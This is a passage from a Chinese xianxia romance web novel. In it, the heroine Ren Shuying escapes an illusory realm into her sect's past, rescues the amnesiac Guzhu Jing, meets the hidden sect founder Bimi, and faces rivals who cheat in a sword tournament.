孤竹京顿时恍然,重重谜团解开了般,又好像已经猜到这个谜团的答案,便感无趣。
“杀了我吧,阴魂与我同生共死,红线你取走。”
说着,他颤颤巍巍拿着刀,加深了方才露出的那道红痕,乍然,皮开肉绽,血一滴一滴,地面绽开一朵又一朵红花,
红线就在他手腕中,连接着他的筋脉,他目光凝固在任舒映,
她不知不觉,脸庞已是泪痕:“我不会杀你。”
他冷起脸,毫无感情地道:“这是你要的红线,拿去!要是不敢杀人,我自己了断,赶紧走!”
手顺着伤口,胡乱抓挠。片刻,他抓起那根线,用尽力气,连根拔起。他把手剜地血肉淋漓。
任舒应闭目背过身,抹了一把眼眶,
红线是他自己愿意给的。
他的声音几乎连贯不起来,话语断断续续:“拿走,你要的。”
任舒映犹豫不决,孤竹京似是真的铁下心,耐心全无。
“给你,再不赶快滚,我要反悔了。”
他的手上,衣袖,垂落的发丝,满目皆红。
任舒映居然在这一瞬心中有一丝动摇。
留下来吧?不管他是什么阴魂,幻人。
红线扔至她手心,只觉得恶心的像一条软懦的虫,
……不对,他不是真正的孤竹京,他迟早要被阴魂所控制。
她攥紧了手中沾满血渍的红线,
这时,老者声音回荡在耳边:“你往禄山崖跳下去,便可以离开红尘井。”
闻言,她定神须臾,往崖便走了几步。
“别去!那边是悬崖!”
孤竹京以为她要寻死,便追上来制止。细细算来,实则又是控制不住自己,他还是不想让她走。
身后,万丈悬崖,跌下去尸骨无存。
任舒映佯装听不见,因为声音是多次见过的那位老道君,她斩钉截铁道:“孤竹京,我必然要离开。”
孤竹京缓缓迈步而来,即使他知道自己强留不来。
她复倒退几步,对他道:“孤竹京,就算我离开,以后还可以再见……”
“再见?”孤竹京无声笑了笑,
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“你不必如此安慰我,反而让我不想让你走。”
老道君不断催促:“我已开好了阵法,走吧。”
还没深思孤竹京怪异的举止,一道强大的力度从她背后拍打,猝不及防跌落崖底。
孤竹京面不改色,心中还是一惊。
他站立在悬崖边,望向崖底,眸中无一丝情绪:“她还是走了。”
阴魂:“走了便走,只要我未死,有的是法子让她回来。”
——
眼帘一片花白,身体倒悬,
云海翻腾,雾气缭绕。
红尘井那位老者笑呵呵走来。
任舒映道了声多谢,却发现手上那根红线仍在手中,她拎起来看着老道君正要开口,
对方抢先一步,打断话头:“好好收着,红尘井的东西,可不是想要便可以带出来的。”
他手中召灵,走上前:“这是一本史籍,你且看看吧。”
任舒映点头收好红线,满腹疑窦接过,好奇的翻看,史籍薄薄,只有一页。
新政更迭,君王孤竹淳荒淫无度,修缮新宫,民不聊生,内腹动乱,国祚殆危。敌国巽王,内外勾结,趁机翻权,举刀逼宫,一把火炬。
百年孤竹皇室葬送火海,基业毁于一旦,历时一百二十一年,国灭。
怨恨无数,积攒堆山,憎生魔息。
断戈残壁,血尸遍野,生魔。
“如此看来魔宫果真是孤竹古国,倒是没有料到孤竹国年史如此短暂。”任舒映看完,不禁感慨。
老道君悠悠作答:“昔历青史,毁誉他撰。天意难测,着墨如此,已是定局。”
红尘井的事与她而言,仿佛如梦初醒,
翻看许久,却想问的是红尘井中孤竹国四皇子的结局。
为何史籍中对孤竹京的历事没有只言片语?
但是老者一眼便看出她的心思,遂说:“孤竹京不会死。”
“他要是死了,便不会在红尘井以外之处见到他。”
任舒映悟性急快,将心中疑言脱口而出:“什么意思?莫非孤竹京他是真的?他不是红尘井的幻人?”
言落,老道君反应过来,脸上不动声色变幻,清咳一声,挼着白须躲避她的视线,避而不谈:“姑娘,你该离开这里了。”
“喂!你还未回答我的问题呢!”
任舒映大喊一声,老者拂起长袖,乱风骤起,她被吹的脚下不稳,连连倒退。
半晌,乱云层叠,遮挡视线。
那老头又不见了,环顾四周,她发现附近除了一条山道,无路可走。
山道是下坡路,蜿蜒崎岖,雾锁深山,她决定慢下步子,看看现在在哪里才是。
说来也怪,离开红尘井不应该会回到极地雪域。怎么会在荒山野岭。
来不及多想,山间渐渐黯淡下去。
原本寂静的林间,四周响起呜呜的闷声,这是野外常遇的妖兽。
不过好在,她终于可以使用灵术了。
低吟掐诀,倏地,剑气乱影,叶声莎莎。
一把银白的长剑破空而来。
她手执剑柄,运行轻功,轻盈一踮,跃至树枝上。
顷刻间,妖兽皆闻声往她追去。
“叩雪,去。”
此妖兽会爬树,食肉饮血,但攻击力不高,普通修士都可以不费余力解决。
至山脚,视野才渐渐开阔,
开始她却陷入自我怀疑中,
这不对吧,这不是渺梦山旁的凡人地界吗?
她对此处还是记忆深刻的,下山接任务,来回路程,她都会来置办补充行囊的所需物料。
“看看那群人,穿的如此破破烂烂,还是赶走吧,免得招来不必要的麻烦。”
这里,经常有各界难民出现,有时还会在此闹事,所以人人避如蛇蝎。
流民群尾后是几个人贩,她这才依稀记得,此处有一街市,鱼龙混杂,有人扮魔,亦魔伪成人,做的买卖非同寻常。
人群乌泱泱,似乎是发生什么事,吵的不可开交。
她本不欲多管闲事,赶紧回渺梦山寻师尊复命才是,却不经意瞥见,那流民手中抱着的眼熟之物。
那是一把长剑,不论是颜色版型,与撼刑剑几乎一模一样。
这才移开目光,仔细打量那抱剑流民。
是个男人,蓬头散发样子看不清,站立在人群中极为出众,都却瘦的不成样。
人贩头伙一手抓着那剑,一手扯他的乱发,口中破口大骂:“把剑给我!再不交出来,看老子不打死你!”
动静太大,惹得路人纷纷包围上来看戏,任舒映思忖片刻,亦挤上前。
她终于看清楚中央挨打之人的样貌,但却让她惊愕在原地。
52.昔日渺梦
孤竹京?
但是她还是不敢相信,这居然会是他,被凡人按在地下打,不够还手?
比起眼下,更情愿相信,孤竹京莫不是了受重伤,才这么忍气吞声。
“住手!”
任舒映站出来,指着孤竹京,“这个人我要了,还有那把剑。”
闻言,其中一人抬头瞥视,“可以啊,不过要这个数。“
“五十灵石?”
人贩头伙笑笑,摆头纠正:“五千。”
五千!?黑贩也不敢这么卖吧?
众人皆在旁窃窃私语:“五千够买那一窝人了。”
“欸,你先看看那个女修,穿着像不像渺梦山的,渺梦山可不缺这点灵石。”
任舒映却不再开口。
她如今不是渺梦山的弟子,却在离开红尘井后样貌变了,这一身装,还是渺梦山内门弟子。
一切过于怪异。
沉吟片刻,人群外忽然挤进来几个人,皆是渺梦山的弟子,任舒映注意到后,目光顿时变得越来越复杂。
……为首的怎么会是萧慕灵?
萧慕灵迎面走来,和善一笑:“师妹,原来你在这里。”环顾四周,又问:“这是怎么了?”
任舒映过了许久才回过神:“……师姐,我想要买那个人,出价居然要五千灵石。”
她还没打算说话,怎么会莫名其妙控制不了自己。
萧慕灵看了眼孤竹京,语气压的极沉,蕴有危险的意味问人贩头伙:“那不过一个凡人,五千灵石说不过去了吧?”
面对质疑,对方观这渺梦山弟子不少,看着不好对付,又因理亏,脸上堆满笑容,赶忙改口:“哪是,说错了,就五百。”
“五百也贵了吧?在场各位有见过这个价的吗?”任舒映随即开口。
言罢,其余的人皆纷纷摆头,却也不开口,就是等着看戏。
对方冷下脸,目光沉沉落在任舒映身上,“此人我带回来就下了不少功夫,别看他如今狼狈的像条狗,若是动起手,还不是个省油的灯。”
意思也懂,抓孤竹京耗费不少时间力气,多要点不过分吧。
萧慕灵率先制止任舒映说话,拿出一袋满满当当的灵石:“这里是一百灵石,够了吗?”
任舒映按自己的了解,萧慕灵见过的黑贩自然也多,坐地起价什么的要么商讨,要么直接动手。
直接丢钱这种行径,压根没有放在眼里。
好在人贩头伙识趣,接过灵石便悻悻离开,不过还顺走了孤竹京的撼刑剑,
孤竹京被人按在地上,紧盯撼刑剑,自始至终默不作声。
萧慕灵没有多注意,而是拉着任舒映道:“还以为你不回来了,虔贞长老也时常念叨你。”
“什、什么不回来了?”任舒映已经懵了。
萧慕灵眉头一拧,口吻有了怪罪的意味:“你又忘记了?师尊师兄都念着你,你呀常常外出游历,就是不着家。”
任舒映干笑,稀里糊涂道:“这就要回去了。”
可话又说回来,这个画面怎么有种似曾相识的感觉。
萧慕灵想起什么,一拍脑袋:“对了,我还有点事,你先回去吧。”
萧慕灵一走,围观的吃瓜群众很快就散了,孤竹京倒是没有跑。
任舒映循着身影走去,蹲在他面前,她打量须臾,试探一句:“……喂,你没事吧?”
可是他不说话,两人就这么僵持的对视。
孤竹京眼神中出了好奇,还有一丝茫然。
但是任舒映又有了定论,观这模样,大抵是不记得事了。
她也无语,甚至怀疑是不是自己的原因,错觉,还是她压根就没有离开红尘井。
按理来说,那个老道君也没有理由诓骗她啊。
干瞪许久,她不动声色敛收疑惑的情绪,无可奈何说:“你先随我走吧。”许是孤竹京眼眸有防备,她试着安抚解释,
“我不会对你怎么样。”
而后孤竹京自己爬起来,凝视她。
任舒映不再说话,
孤竹京若是真的又不记得了,他身上有伤看得出来,现在又是无家可归。
她是想把他带回渺梦山,
一边思索,一边走着。稍不留神,后面跟着的人不见了。
任舒映很快反应过来,人都傻了,倒头要去追人。
……她有注意撼刑剑被人贩头伙带走,按孤竹京的脾性,该不会是去抢剑了吧。
往一方向跑去,果不其然,在一个街道口撞上了。
孤竹京虽然被几个壮汉包围,但是跟个泥鳅一样,抓也抓不着。
场面过于混乱,她看了好一会才出手。
毕竟孤竹京需要撼刑剑,那人贩头伙正拎着剑,轻蔑大笑:“臭小子你还敢追过来啊!还真的嫌命太短了,既然敢来,那就让你死在自己剑下吧。”
瞬息间,任舒映召出叩雪,长剑晃影,倏地劈下来,叩雪与撼刑交接,乍然发出清脆的嗡鸣。
随后任舒映从房顶一跃而下,衣袂飘飘。
那厮就没有这么好了,人贩头伙不就不善武,空有一身蛮力和花架子,压根抵挡不住一个剑修的剑,立马被震虎口发麻。
撼刑剑啪嗒掉下来,身后孤竹京立马跑过去拿剑。
任舒映见状,拉着孤竹京就跑。
她可不想在这里惹出事来,渺梦山要是知道,肯定得要挨罚。
到了人多的街市,人终于甩走,
说实话,任舒映还是有些担心孤竹京会逃跑,灵机一动,她抓着孤竹京手掌,下了一道灵犀印。
这下,就算是跑到天涯海角,也没有用。
孤竹京看着灵犀印终于开口:“这是什么?”
任舒映实话实说:“别想着跑,有此印记,我随时都可以找到你。”
孤竹京:“带我去哪?”
“渺梦山。”
任舒映自然不会带进宗门内,将他安顿在后山,后山有一处河滩,让他在那打杂养伤,不惹人眼就好了。
回至渺梦,她又发现端倪,宗门弟子,好似没有经过魔族夜袭,所有的事一如往常,她也没有被渺梦宗门通缉,可以在渺梦山进出。
而后,为有耽搁,立马去拜见师尊,却未碰面,问过师兄柳邈才得知,师尊前几日闭关修炼,归来晚了,错过时日。
再过几日,渺梦要举办一场弟子剑道比试,届时任舒映也要上场。
一番推算,可算是明了。她回到了过去,渺梦山还归于平静中,经管现在她
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经历的事情没有半分印象。但是他们的言语,举止,还有叩雪剑的异常,都清清楚楚告诉她,
这就是昔日渺梦。
叩雪剑是她下山游历,几月前于无间楼斩杀邪魔所得,这个时候的叩雪剑因为封印未解,剑灵无法说话,所以她可以召出剑,无法沟通。
处理了一些事情,她带了一些药去趟后山,孤竹京身上有伤,让他过去让他打杂,也不能一直带着伤。
孤竹京安排住在一个偏僻的庭院,庭院在西边,植满大片灵草,往来的人不多。
待入夜,她到了后山,踏入庭院,屋内散出浅淡昏黄烛光。
任舒映敲门半晌,无人作应。
正思索着要不要用灵术开锁,耳畔传来一阵脚步声,草声莎莎,任舒映转身回眸,孤竹京背着药筐现入眼帘。
他换了个一身干净的衣服,乱发也束起来。
任舒映疑惑问:“你为什么带着个面具?”
面具上,两只眼睛目不转睛凝视她:“有疤,丑。”
说罢,掠过人,径直打开房门。
……疤也就在脸左边额角,发丝遮挡,这个样子怎么会丑?
任舒映差点破口而出,忍了忍改口问:“可我见过你脸上的疤痕,也不明显啊?没有必要带个面具吧?”
“丑。”他站在门口,再度重复。
任舒映无奈:“好吧好吧,随便你,这些外敷药你先收着,药效和作用写在纸上,纸在里面夹着了。”
孤竹京没有推脱,接到手中。
任舒映跟着进房,打量一下四周,假装不知道他的名字问:“你叫什么?怎么被打成这个样子?”
孤竹京居然真的回答:“饿了,抢小孩东西吃,小孩的爹来打我。”
“哈?就这样?”
“还抢了其他人的。”
她属实诧异,孤竹京这是经历了什么落得这副田地啊?就连吃食都没有了吗?
任舒映嘴角抽了抽:“你不是有剑吗?应该会武吧,这打不过?”
“……手疼,打不过。”
任舒映伸手招呼,又用眼神示意他过来:“我看看。”
孤竹京纹丝不动。
“你要给灵草浇水施肥,手要是不好好看看,容易留下病根。”
这句话显然说动了他,良久他仍旧固执摆头:“有药,包扎即可。”
“名字呢?”
孤竹京本来不想告知,任舒映却回头一想,凭借孤竹京的性格,也不会相信一个素无交结之人的施救,隐瞒他确有不妥。
“我救你绝非心善,孤竹京。”
闻言,孤竹京猛的抬头。
“你安安分分待在这里养伤,可好?”
“你怎么知道……”
她笑的意味深长:“你的过去我清楚,你的将来我亦知。”
任舒映不强人所难,想起剑道比试,还是下意识叮嘱:“我这几日忙,过段时间再来找你,只要你不乱跑,可以出入渺梦山。”
她也不是担心孤竹京逃跑,但既然是这个时候,她得着手查渺梦的人,没空理会他,自是要孤竹京安分些省心。
说完,任舒映起身告辞,孤竹京始终未动,阴沉的眸子凝着她背影,直至她渐渐消失在庭院外。
53.祖师庇弥
任舒映回到曦月阁不久,便收到柳邈的传信,信中交代她,剑试在即,公务繁忙,想要她帮忙前往藏经阁看守两日,
但她清楚这是另有他意,圣陵宝物一直摆放在藏经阁的楼顶,实际上是想她看守宝物。
随后她答应下来,执笔回信。
依照时间发展,圣陵宝物生灵钟在渺梦山被魔族夜袭失窃,定然是有人有意而为之,
藏经阁往来的弟子不少,正好趁现在找找可疑之人。
渺梦山分三峰,一为梅山剑修,二为香山符修,三为杂役峰,藏经阁位于主峰梅山。
主峰较为特殊,除了类似剑试大型活动,平日不允许外门弟子进入。这也是她犯难之处,生灵钟失窃也正是所有弟子皆可进出的时日,要是想要抓出幕后主使,无疑是大海捞针。
现如今也只能先查主峰的弟子。
藏经阁阁主名史文君,是一位女子,继任阁主几年。因为阁楼最顶层安放贵重宝物,所以早在第一任阁主“庇弥”在任时,就定下规矩,若是要开启圣陵取生灵钟,需要三碎星痕。
而三碎星痕,分为了三块钥匙,只有拼凑一起方可开启圣陵。
藏经阁阁主是没有钥匙的,钥匙分别在三峰各个长老手中,任舒映的师尊算一个,不过师尊他闭关修炼,为不时之需,钥匙便落于柳邈手中。
师兄一向办事稳妥,若是钥匙要暂时交于她手中,自己倒是觉得难担大任。
现在经历的事她无半分印象,只得见机行事。
翌日,她按约前去面见史文君,史文君待人亲和,便向她清清楚楚交代了藏经阁需要注意之事:“你师兄稍过信,藏经阁里也不需事事深介,今日你只需要做好监督之职即可。”
正当疑惑监督何事,门外一阵嘈杂脚步声音渐渐穿来,任舒映不经意瞥见几个弟子,其中一人面上覆具,颇为显眼。
见状,她定神作问:“等等,那边怎会有杂役峰的弟子?”
史文君未注意任舒映的反应,轻笑解释:“你莫不是忘记近日乃除尘期,山峰各处皆加派人手打扫杂尘。”
闻言,任舒映脑子转回来,
只见史文君自顾自道:“藏经阁里的四处放置贵重珍稀典籍,若单用灵术打扫易生出乱子,所以我才让杂役峰弟子前来,今日正好是由你监督。”
待史文君提醒各事后,她道:“好,这些我都知晓,告辞。”
说罢,赶忙去寻杂役峰弟子。
藏经阁自立阁以来,已有百年,卷书万千,堆积如山,阁楼高至云巅,巍峨耸立。
而今日杂役峰弟子需要打扫的一共五层。渺梦山中不过问年岁,靠阅历来排辈分。
杂役峰弟子见任舒映后,皆乖顺打招呼:“师姐好。”
她礼貌回应,一顿扫视,最后不动声色落在众弟子身后那人脸上。
她实在想不出孤竹京究竟怎么跑来的。
敛收眸光,她装模作样下令:“今日共计五层楼,千万要细心谨慎了,该说的你们都清楚,都忙去吧。”
说完,几个弟子麻溜的去干活,任舒映寻了一借口,指着孤竹京说:“你,随我过来去搭把手。”
孤竹京沉默迈着步子跟上,到了人少处,她侧目问:“你那么来这了,不是让你好好养伤,在后山浇灌灵草吗?”
孤竹京开口:”不是我要来,是后山执事命我来的。”
“你是说楚茂?”
任舒映倒是记得那后山执事,孤竹京可以安然无恙呆在渺梦山,他帮了不少忙。
孤竹京虽未接话,但点头默认。
任舒映又问:“楚茂有没有说其他?”
孤竹京回想一番,动了动嘴,却是摆头:“没有。”
“没有?”
任舒映疑狐看着他眼睛,但她捕捉到了一丝似是心虚而躲闪的眸光。
孤竹京越是这样,她越觉得有内情。
不过未深究,现在还不是时候,便佯装相信:“行吧,偏阁的经书需要重新分类,你去吧。”
念在他有伤在身,给他挑了个闲活。
孤竹京自然无异议,循着她所指的方向走去。
她手中有前来打扫杂役的弟子的名册,自己寻了个地,翻来覆去看地看了好几遍。
随后又去巡视一圈,也没有其他异样,最后寻到孤竹京那去。
孤竹京背着她在摆放书册,墨发披肩,未发觉到她而来,任舒映有些恍惚。
兴许是见过的孤竹京太多,有俾睨众生的魔域主、有浪荡成性的孤竹国皇子、又是现在失忆无家可归,负伤四处漂泊的弃子。
她好像也分不清哪个才是真正的他。
直到孤竹京摆好了一排,转身一时顿住,不解其意看着她。
任舒映忽而有一种窥视被人被抓的羞耻感,即便事实就是的的确确在窥视,她咳嗽一声掩饰尴尬:”你继续,我就是来监工的。”
孤竹京闻言,却欲言又止。
任舒映观察出来,好奇问:“怎么了?”
孤竹京示意她跟过来,带她绕过偏阁的屏风,两人往深处走去。
孤竹京指着书架背后那堵墙,低声说:“这里有暗阁。”
任舒映走上前,只见孤竹京叩响墙,声音闷闷,随后他敲了旁边厚实的墙壁,两相对比,确有不同。任舒映这才歪着脑袋,难以置信:“你……你怎么发现的。”
孤竹京云淡风轻解释:“天色不早,我看不清,所以去点火照明,但是有一盏灯,不论我点多少次都是立马就熄。”
任舒映:“然后呢?”
“然后我去四处查看,发现这墙有问题,墙边有缝隙,正好对着那灯台,缝隙一直有暗风流动,所以每次都被吹灭。”
“你倒是聪明啊。”任舒映不紧不慢来了一句。
孤竹京:“何来聪明?我只能找到原因,并不知道怎么打开。”
任舒映摆头笑笑:“渺梦山的暗阁哪有你想的这么容易打开?”
“罢了走吧,不管里面是什么,也与我们无关。”任舒映毫不在意,说完要走。
孤竹京冷不防嘀咕一句:“里面好像有人在求救 。”
任舒映顿步转回来:“当真?”
半晌,任舒映把耳朵贴在墙上,全神贯注。
里面有咚咚的声响,敲的似钟,好像还有人呜呜咽咽的低吟。
声音极小,若非不是她屏息凝神,确实是发现不了。
任舒映心想,这要是真的有人在里面,也肯定是有意而为之,让她想要一探究竟的还是这个钟声。
这太像生灵钟的声音了,她在当初见到仙靡树时,生灵钟声音响彻云霄,甚至吸引神鸟青鸾。
随后任舒映并指念诀,灵力萦绕指尖,随着她意念指引至灯台。
随后暗阁移动,自动开出一条幽黑的通道。
孤竹京亦在观察任舒映的举动,心头慨然,合着他绞尽脑汁寻找开启的机关,一直未果,原来是要使用灵术啊?
两人在暗道走了一段路,视线仍旧是漆黑一片,唯一可以确定的是,他们一直在往上爬。
长道两侧石壁被刻满了经文,密密麻麻,
片刻,视线豁然开朗,四处有香案,明灯萦然,火光微弱未熄。
东方西方设十二镈钟,各依辰位。编钟处其左,编磬处其右,顶部凿开圆形风洞,可能外面天气虽已黯,仰头可见夜漏明月,星露云靡。
风洞下设高台,放置摆垫,一个长袍加衣的老道君背对着他们,似是禅坐高台。
她环顾四周,最后对着不远处之人喊:“何人在此?”
老道君纹丝不动,她又走近几步,还未看清楚此人样貌,不料老道君乍然起身,伸手一挥,单掌拍向她。
任舒映一怔,不得已偏首翻身,接过那一掌。
这……
怎么会是红尘井
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中多次帮助过她的那个老头?
任舒映和他对过几招,老道君招式里里外外透露着渺梦山的招式,
任舒映一边接招,一边道:“前辈且慢还请收手。”
言落,对方拧眉问:“你从何处习得我的招数?”
她诧异反问:“何出此言?晚辈乃渺梦山虔贞座下二弟子。”
“渺梦山?”说着,老头语气渐缓:“今夕何夕?”
“自渺梦山开山之祖以来,已历经三百载尔。”
“未曾想已经过去这么久了……”
随后接话道:“还不知前辈何人?”
“我若说是你们渺梦师祖庇弥,你可相信?”
“……庇弥师祖?庇弥不是早在百年前就已仙游四海了吗?”
庇弥不屑:“那是世人如此认为。”
任舒映回想起以往见过的师祖画像,确实与他相貌一般无二,便改口问:“既然师祖仍在于世,为何要呆在此处?”
庇弥却说:“可知苍燎?”
任舒映回想,便觉奇怪:“魔域苍燎?那个炼化了地涌金莲,突破魔道后在三界消踪匿迹那位?”
“正是他,现如今世人就是这么传他的吗?还有什么传言?”
任舒映继续说道:“这已是修界魔界共晓,苍燎是去往了修界人人梦寐以求的仙京,长生不死,大道无途。”
这番话似是刺激到他,庇弥气的白发炸开,满脸通红:“什么狗屁登仙京!越听越是离谱!还长生不死大道无限!这等无稽之谈,居然还人人皆信?”
任舒映吓的未敢开口,眸光不动声色转向身边沉默的犹如透明人的孤竹京。
庇弥怒骂:“修界千百载未有过的得道登仙,他一介魔修凭什么?莫非依靠一朵虚不见实的莲花,就可以入的了仙途?他滥杀成性,何德何能?”
观庇弥的神色和言语,却不像生气时的质问,更加像无能为力的自嘲,
“苍燎是我一生之敌,我与苍燎斗了一辈子,他修的魔族至巅,而我畏首畏尾,蜷缩与一个不见天日的暗室,可笑至极。”
“我毕生之研,为求仙途,倾尽他法,最后是未成一事……”
任舒映这下听明白了,原来师祖是在吐槽……啊不,述斥魔怪当道,而自己平生不尽人意。
要不安抚一下吧。
“师祖,其实你也没有这么失败吧,毕竟您对渺梦山的丰功伟绩,我等小辈皆是永生铭记的。”
她拉了孤竹京衣摆,眼神示意让他应和几声,孤竹京如同咽气,死活不坑声。
“……”
“……不过是世留那泥点残絮,沾濡而得的虚名。”
其实这个师祖还是挺高风亮节的,至少不求什么名声,看来他与魔君苍燎还有一段故事啊。
好一顿马屁,庇弥终于放下警惕,任舒映才问起心中疑惑:“不知道师祖为何在此?”
“渺梦山虽剑修为主,鲜少有人知晓我庇弥最擅长的还是乐理。”
“此处不过是我的消遣时日的乐宫罢了。”
啊……乐宫?藏经阁居还暗修乐宫?
联系起藏经阁顶处的生灵钟,她一拍脑袋意识下问:“莫非生灵钟也在此处?”
庇弥摆头:“这些不是生灵钟,都是凡界的编磬、编钟,而生灵钟早已被毁。”
毁了?那后来在九骸壤出现的生灵钟又是怎么一回事?
见任舒映面色疑惑,庇弥开口:“你也莫要小看这些钟,那苍燎就是靠钟阵压制,才不得在各界肆意妄为,为非作歹。”
“但我也因此受禁制压制,不得离开此处,声声乐律,事事相依……”
“师祖大义,我等小辈敬佩,话说回来,祖师为何要外传圣陵宝物生灵钟于此呢?”
既然生灵钟被毁,如此行事岂不自相矛盾?
庇弥意味深长道:“生灵钟确实是被毁去,可若生灵钟有两个呢?”
54.第 54 章
任舒映和孤竹京是被祖师赶走的,说是嫌他们小辈聒噪,招惹他老人家不痛快,任舒映还未问到更多,不得已离开乐宫,沿着暗道原路返回。
“对了,祖师说他还在的消息,不可外传,你要管好自己嘴巴。”
孤竹京应了一声,
任舒映又问:“怎么感觉你今天一直沉默寡言的,是有何不对吗?”
“没有。”
“那你一直看着我做什么?”
孤竹京收回视线,目不斜视:“未看。”
说至此,孤竹京率先出了暗道,任舒映跟着出来,可见藏经阁内黯然无光,空无一人。
任舒映未再与他说话,径直往楼下大门走去。大门紧闭,任舒映徒手搬动,始终纹丝不动,这才意识到不对劲。
附用灵力,意料之中也是无效。任舒映才晓得怎么回事,对着孤竹京道:“藏经阁闭阁了,闭阁之期,不允许任何人往来进出,此处也会开启阵法,灵力失效。”
孤竹京:“何时才能出去?”
“藏经阁也不是经常闭阁,我们凑巧赶上了,大概一日便可出去。”
孤竹京默默点头,
看来要在此呆一天,任舒映倒是略有惋惜,还想着去查查可疑之人,现如今只能白白浪费一日。
时夜胧月,藏经阁暗无缕光,任舒映点了一盏灯,坐在孤竹京身边,
“孤竹京,你现在伤势如何了?”
之前听说是手疼,也不知伤势怎么样了。
暖光莹莹,他面具下眸子微动:“还好。”
“我可以看看你伤哪了吗?”
孤竹京见任舒映三番两次想看,以为担心他手伤未愈,干事不利索,还是给她看了,一边伸出手腕,解释道:“无妨,现在好点来,不碍事。”
他掀开衣袖,手腕的伤让她顿时错愕,这……分明是她离开红尘井那天,他自取手中红线而自己伤到了那处啊。
那道疤痕摆在她眼前,红尘井中那些画面接踵而至,最后她触摸那疤痕,沉下声音道:“这是你怎么伤的?”
许是任舒映的反应怪异,孤竹京停顿一会才回答:“……不记得了,好像是刀伤的。”
孤竹京作答样子不似假,任舒映无可奈何,也不能硬逼迫他回想红尘井之事,话题就此作罢,两人枯坐一日,藏经阁终于开阁,趁着开阁无人,赶快离开。
——
离开藏经阁,路过修炼道场,她才想起来,算着时日,明天就是在此处开始剑试。
她却无意瞥见两道熟悉身影,明异与马简两人鬼鬼祟祟,当真可疑。
她最记得就是这个明异,如不出意外,明日还要与他对试,
明异此人,行事乖张,因为背后依靠一峰长老,在渺梦山基本上无人敢得罪,剑试魁首无间楼珍稀灵宝,他定然是有所想法。
还在想明异要做什么,对方眼尖逮着她,笑的邪气走来:“任舒映,是你啊。”
任舒映敷衍的打了招呼便走。
“走什么啊?”马简忽然开口,看着想没事找事。
马简虽与明异同辈,但何人不知,其实就是他身边一个跟班,两人经常在一起犯浑,同流合污的事只多不少。
任舒映顿足,回首看着二人。
明异一边想着,一边睨着她:“你就是无间楼里得了灵剑那个?”
她收得灵剑叩雪一事,渺梦山弟子有所耳闻,毕竟无间楼中灵器皆有灵
“是。”
明异笑的意味不明:“我们明日有两场对试,魁首也不过一把剑,既然你也得了那灵剑,不如让给别人也算是两全其美。”
明异的说辞果然和记忆中那样,先是好言好语试探,
任舒映不吃这套,驳了他的话:“剑试都是各凭本事,你若想得那剑,明日就拿出你的真才实学给我看看。”
说完,任舒映沉默不语,
此番话也非她想说,但她确实是控制不住,又把以前说过的话说出来,那时她年轻气盛,因为在无间楼得了叩雪,也是一桩颇为得意的事,说话便是如此不加修饰。
明异听罢,语调都变的阴狠,心生嫉妒:“那就各凭本事,不过你最好识相点,人情世故你都懂的吧。”
“……”
好一个人情世故,任舒映无言看着两人片刻,到底还是道了告辞。
明异明日要做什么,她还历历在目,无非是两人私相勾结,给她使绊子罢了。
兵来将挡,水来土掩,明异敢招惹她,定要他后悔。
——
次日清早,按理她要与渺梦山弟子拜见三峰长老,师尊虔贞虽为长老,但是仍在闭关修炼,所以主持比试道场的长老只有二位。
比试道场为淘汰赛,赢过二场方可晋级。
此次比试一是为剑修开设,二是寻得更有资质的弟子,其中以无间楼稀有灵器作彩头,仍不少人愿意参加。
任舒映回忆一番,她与明异有两次比试没错,偏偏比试过程不记得了。
着以往的流程,一路顺畅攻至明异那场。
比试开始,两人要在一个封闭的结界内,众目睽睽,但此次二峰长老坐镇,结界阵法都不如先前稳定,这才给了明异可乘之机。
任舒映早就知道,昨夜他们在比试道场设下一个二接灵屏,虽说不至于可以瞒天过海,但此为不易察觉的障眼法,
若是她师尊在,三尊长老,明异自是不敢暗下阵法。
今就如此,二接灵屏,其实就是两个传口,马简在进灵口传入一道灵击,马上变可以从另外一处打出来,可做暗器伤人,是个阴损的招数,先前她就是差点被这么伤到。
今时仍同往日,明异仍就是打不过她。
“每个弟子只有三场比试,若得三胜,才有机会夺魁,接下来请诸位弟子入试场。”二尊长老说完,一群弟子蜂拥而上,任舒映挤不进去,便打算过会再进,不料又见孤竹京站在不远处的剑阁门外。
未多想,她立马追了过去,孤竹京未带面具,穿了一身内门弟子的衣服,她抓着孤竹京衣袖,走道偏僻的角落凝眉道:“你怎么穿的内门弟子衣物?”她细细回想,明明记得给孤竹京安排的是外门弟子身份啊。
“昨夜有一个内门弟子寻我,他说他临时有事,让我帮他比试。”
任舒映诧异的差点咬到自己舌头,左顾右盼,见无人在附近后,她低声开口:“这就是替试啊,是谁寻你的?这么大胆子。”
孤竹京许是自己也不愿意替试,把自己知道的都告知与她:“他们未告诉我是哪一峰弟子,但是有一个人的名字我知道。”
“什么名字?”
“马简。”
马简?
既然是两个人找上门来的,她又在昨夜见到明异与马简在一起,莫非是明异在打孤竹京的主意?
孤竹京看任舒映沉吟不语,取出衣袖之物:“这是身份令牌,可有办法推掉?”
她拿到手中,却见的是陌生名字,试场中其中一场会提前一日公布对试者的名字,
而令牌写的并不是孤竹京的名字,这替试,莫非明异是想挑一个不精通剑术的外门弟子接替,以此更好获胜?
任舒映将令牌还回去,却道:“不,你继续替试。”
孤竹京不解其意,又问:“为何?”
任舒映简单的解释:“试场一人有三场,你只要参与了第一场,且故意输了就可以放弃接下来的比试,不过既然这第一场可二人并行,你跟着我吧。”
说二人一同入试场,耳畔随之而来是二峰长老的声音:“初试,以剑会友,在试场的弟子需谨记,此场不可重伤他人,将其逼退试场外即为获胜。”
试场设有法阵,令牌进行匹配后,才可与对方剑试,任舒映既然选择和孤竹京一道,那么令牌比配的对手同样是二人。
须臾,终于被阵法传送,四人碰面,果真是马简与明异。
明异眯着眼睨向任舒映,徐徐开口:“任舒映,果然是你。”
任舒映召出叩雪剑:“不是想要我败吗?来,给你机会。”反正一入试场比试就已经开始,无需多言,速战速决。
明异捏着剑挥手劈出一道强悍的剑气:“不自量力。”
这道剑气让她顿了一瞬,被孤竹京拉开才堪堪躲过,不过很快反应过来,这厮居然敢用破境丹。
破境丹一旦服用,短时间内可以灵力爆涨,但是过度使用亦糟反噬,剑试明令禁止的明异敢视若无睹,也不是什么大事了。
只是要是第一场对付两个人,少不了挨人家暗算。
为了夺魁胆敢如此,这个明异让她无话可说。
明异对着身边马简道:“任舒映身边那个男的,就交给你了。”
任舒映也反首看向孤竹京:“你找机会离开试场。”
孤竹京提起撼刑剑,气势凛然,有这么一刻她都快觉得,孤竹京是在刻意藏拙而装模作样。
